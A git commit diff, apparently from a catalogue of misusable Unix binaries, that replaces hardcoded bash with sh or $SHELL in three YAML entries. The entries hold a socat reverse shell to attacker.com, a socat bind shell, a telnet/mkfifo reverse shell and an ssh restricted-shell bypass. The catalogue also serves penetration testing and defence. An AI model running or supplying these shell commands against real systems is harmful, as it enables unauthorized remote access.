Remove hardcoded instances of bash

This commit is contained in:
Andrea Cardaci 2018-05-28 17:47:54 +02:00
parent 8185fca039
commit 358628c2f2
3 changed files with 4 additions and 4 deletions

View File

@ -5,10 +5,10 @@ functions:
code: | code: |
RHOST=attacker.com RHOST=attacker.com
RPORT=12345 RPORT=12345
socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
bind-shell-interactive: bind-shell-interactive:
- description: Run <code>socat FILE:`tty`,raw,echo=0 TCP:target.com:12345</code> on the attacker box to connect to the shell. - description: Run <code>socat FILE:`tty`,raw,echo=0 TCP:target.com:12345</code> on the attacker box to connect to the shell.
code: | code: |
LPORT=12345 LPORT=12345
socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane
--- ---

View File

@ -2,7 +2,7 @@
functions: functions:
execute-interactive: execute-interactive:
- description: Reconnecting may help bypassing restricted shells. - description: Reconnecting may help bypassing restricted shells.
code: ssh localhost /bin/bash --noprofile --norc code: ssh localhost $SHELL --noprofile --norc
download: download:
- description: Fetch a remote file from a SSH server. - description: Fetch a remote file from a SSH server.
code: | code: |

View File

@ -15,7 +15,7 @@ functions:
RPORT=12345 RPORT=12345
TF=$(mktemp) TF=$(mktemp)
rm $TF rm $TF
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF
sudo-enabled: sudo-enabled:
- description: BSD version only. Needs to be connected first. - description: BSD version only. Needs to be connected first.
code: | code: |